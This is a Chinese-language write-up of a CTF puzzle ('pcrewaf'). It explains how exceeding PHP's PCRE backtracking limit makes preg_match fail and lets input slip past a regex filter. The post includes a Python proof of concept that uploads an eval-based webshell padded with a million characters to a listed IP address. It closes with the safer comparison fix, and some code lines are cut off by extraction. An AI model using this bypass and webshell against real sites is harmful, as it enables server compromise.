PHP利用PCRE回溯次数限制绕过某些安全限制

这次Code-Breaking Puzzles中我出了一道看似很简单的题目pcrewaf，将其代码简化如下：

\].\*/is', $data); } if(!is\_php($input)) { // fwrite($f, $input); ...

}

大意是判断一下用户输入的内容有没有PHP代码，如果没有，则写入文件。这种时候，如何绕过is_php()函数来写入webshell呢？

这道题看似简单，深究其原理，还是值得写一篇文章的。

0x01 正则表达式是什么

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”，其拥有有限数量的状态，每个状态可以迁移到零个或多个状态，输入字串决定执行哪个状态的迁移。

而常见的正则引擎，又被细分为DFA（确定性有限状态自动机）与NFA（非确定性有限状态自动机）。他们匹配输入的过程分别是：

DFA: 从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于NFA的执行过程存在回溯，所以其性能会劣于DFA，但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。

0x02 回溯的过程是怎样的

所以，我们题目中的正则<\?.*[(`;?>].*，假设匹配的输入是<?php phpinfo();//aaaaa，实际执行流程是这样的：

见上图，可见第4步的时候，因为第一个.*可以匹配任何字符，所以最终匹配到了输入串的结尾，也就是//aaaaa。但此时显然是不对的，因为正则显示.*后面还应该有一个字符[(`;?>]。

所以NFA就开始回溯，先吐出一个a，输入变成第5步显示的//aaaa，但仍然匹配不上正则，继续吐出a，变成//aaa，仍然匹配不上……

最终直到吐出;，输入变成第12步显示的<?php phpinfo()，此时，.*匹配的是php phpinfo()，而后面的;则匹配上[(`;?>]，这个结果满足正则表达式的要求，于是不再回溯。13步开始向后匹配;，14步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。

在调试正则表达式的时候，我们可以查看当前回溯的次数：

这里回溯了8次。

0x03 PHP的`pcre.backtrack_limit`限制利用

PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限：

这里有个有趣的事情，就是PHP文档中，中英文版本的数值是不一样的：

我们应该以英文版为参考。

可见，回溯次数上限默认是100万。那么，假设我们的回溯次数超过了100万，会出现什么现象呢？比如：

可见，preg_match返回的非1和0，而是false。

preg_match函数返回false表示此次执行失败了，我们可以调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，发现失败的原因的确是回溯次数超出了限制：

所以，这道题的答案就呼之欲出了。我们通过发送超长字符串的方式，使正则执行失败，最后绕过目标对PHP语言的限制。

对应的POC如下：

import requests from io import BytesIO files \= { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res \= requests.post('http://51.158.75.42:8088/index.php', files\=files, allow_redirects\=False) print(res.headers)

0x04 PCRE另一种错误的用法

延伸一下，很多基于PHP的WAF，如：

\].\*/is', $data); } if(is\_php($input) \=== 0) { // fwrite($f, $input); ...

}

这样，即使正则执行失败返回false，也不会进入if语句。

PHP利用PCRE回溯次数限制绕过某些安全限制